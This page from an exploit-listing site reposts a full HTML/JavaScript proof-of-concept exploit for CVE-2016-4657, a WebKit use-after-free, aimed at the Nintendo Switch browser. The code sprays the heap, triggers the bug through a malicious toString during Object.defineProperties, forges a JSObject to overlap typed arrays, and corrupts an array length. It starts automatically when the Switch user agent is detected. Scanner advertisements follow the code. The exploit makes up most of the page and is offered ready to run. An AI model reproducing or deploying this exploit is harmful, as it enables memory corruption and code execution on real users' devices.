nintendo switch webkit code execution (poc)

▸▸▸ Exploit & Vulnerability >>   dos exploit & hardware vulnerability




nintendo switch webkit code execution (poc) Code Code...
				
<!doctype html> <html> <head> <title>CVE-2016-4657 Switch PoC</title> <style> body {font-size: 2em;} a {text-decoration: none; color: #000;} a:hover {color: #f00; font-weight: bold;} </style> </head> <body> <h1>CVE-2016-4657 Nintendo Switch PoC</h1> <ul> <li><a href=\'javascript:go();\'> go!</a></li> <li><a href=\'javascript:document.location.reload();\'> reload</a></li> </ul> <div id=\'status\'> waiting... click go.</div> <script> // display JS errors as alerts. Helps debugging. window.onerror = function(error, url, line) { alert(error+\' URL:\'+url+\' L:\'+line); }; </script> <script> // based on jbme.qwertyoruiop.com // Thanks to: // + qwertyoruiop // + Retr0id // + Ando // // saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html // garbage collection stuff var pressure = new Array(100); // do garbage collect dgc = function() { for (var i = 0; i < pressure.length; i++) { pressure[i] = new Uint32Array(0x10000); } for (var i = 0; i < pressure.length; i++) { pressure[i] = 0; } } // access to the overlapping Uint32Array var bufs = new Array(0x1000); // we will modify the vector of this var smash = new Uint32Array(0x10); // the array with the stale pointer var stale = 0; var _dview = null; // write 2x 32bit in a DataView and get the Float representation of it function u2d(low, hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0, hi); _dview.setUint32(4, low); return _dview.getFloat64(0); } function go_() { // check if the length of the array smash changed already. if yes, bail out. if (smash.length != 0x10) return; // garbage collect dgc(); // new array with 0x100 elements var arr = new Array(0x100); // new array buffer of length 0x1000 var yolo = new ArrayBuffer(0x1000); // populate the arr with pointer to yolo and a number. not quite sure why. arr[0] = yolo; arr[1] = 0x13371337; // create an object whos toString function returns number 10 and messes with arr. var not_number = {}; not_number.toString = function() { arr = null; props[\"stale\"][\"value\"] = null; // if bufs is already overlapping memory, bail out. if (bufs[0]) return 10; // really make sure garbage is collected // the array pointed at by arr should be gone now. for (var i = 0; i < 20; i++) { dgc(); } // for the whole buf Array for (i = 0; i < bufs.length; i++) { // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier bufs[i] = new Uint32Array(0x100 * 2) // for each element of that array for (k = 0; k < bufs[i].length;) { // set memory to 0x41414141 0xffff0000 // basically spraying the JSValue 0xffff000041414141 // which is the Integer 0x41414141 // phrack: Integer FFFF:0000:IIII:IIII bufs[i][k++] = 0x41414141; bufs[i][k++] = 0xffff0000; } } return 10; }; // define a new object with some properties var props = { p0: { value: 0 }, p1: { value: 1 }, p2: { value: 2 }, p3: { value: 3 }, p4: { value: 4 }, p5: { value: 5 }, p6: { value: 6 }, p7: { value: 7 }, p8: { value: 8 }, // the length of this object is set to this object that does evil stuff with toString() length: { value: not_number }, // the reference to the arr array. Which will later be freed. stale: { value: arr }, after: { value: 666 } }; // define a new target array var target = []; // TRIGGER BUG! // set the properties of the target based on the previously defined ones Object.defineProperties(target, props); // get a reference to the target stale property, which points to arr stale = target.stale; // make sure that the stale[0] points actually to the 0x41414141 data if not, we don\'t wanna mess with it and try again if(stale[0]==0x41414141) { // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242 stale[0] += 0x101; //stale[0] = 0x41414242; //document.getElementById(\'status\').innerText = \'bug done.\'; // searching the whole memory that is overlaying the old arr. Looking for 0x41414242 for (i = 0; i < bufs.length; i++) { for (k = 0; k < bufs[0].length; k++) { // Found the value! bufs[i][k] point now at the same memory as stale[0] if (bufs[i][k] == 0x41414242) { alert(\'Overlapping Arrays found at bufs[\'+i+\'][\'+k+\']\\nsmash.length is still: 0x\'+smash.length.toString(16)); // create a new object. Will look kinda like this: // 0x0100150000000136 0x0000000000000000 <- fictional value // 0x0000000000000064 0x0000000000000000 <- [\'a\'],[\'b\'] // 0x???????????????? 0x0000000000000100 <- [\'c\'],[\'d\'] stale[0] = { \'a\': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array \'b\': u2d(0, 0), \'c\': smash, // var pointing at the struct of a Uint32Array(0x10) \'d\': u2d(0x100, 0) } alert(\'created the JSObject.\\nstale[0] = \'+stale[0]); // remember the original stale pointer, pointing at the object with the a,b,c,d properties stale[1] = stale[0]; // now add 0x10 to the pointer of stale[0], which points now in the middle of the object. bufs[i][k] += 0x10; // check the type of stale[0]. // removed the loop because it makes the exploit sooooooo unreliable // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html) /*while(!(stale[0] instanceof Uint32Array)) { // if stale[0] is not a Uint32Array yet, increment the structureID guess structureID++; // assign the next structureID to the original object still referenced by stale[1] stale[1][\'a\'] = u2d(structureID, 0); }*/ // Give some information. stale[0] should now be a Uint32Array alert(\'misaligned the pointer to the JSObject.\\nstale[0] = \'+stale[0]+\'\'); // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array // which should point to the struct of smash, allowing us to overwrite the length of smash stale[0][6] = 0x1337; // check the length of smash is now. alert(\'smash.length is now: 0x\'+smash.length.toString(16)); alert(\'done!\\nswitch will probably crash now :O\'); return; } } } } document.getElementById(\'status\').innerText = \' fail. refresh the page and try again...\'; setTimeout(function() {document.location.reload();}, 1000); } function go() { document.getElementById(\'status\').innerText = \' go! \'; dgc(); dgc(); dgc(); dgc(); dgc(); dgc(); setTimeout(go_, 500); } // if Switch browser is detected, auto start exploit if(navigator.userAgent.indexOf(\'Nintendo Switch\')>-1) { document.getElementById(\'status\').innerText = \'Found Nintendo Switch! \'; setTimeout(go, 2000); } </script> </body> </html>

Nintendo switch webkit code execution (poc) Vulnerability / Exploit Source : Nintendo switch webkit code execution (poc)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.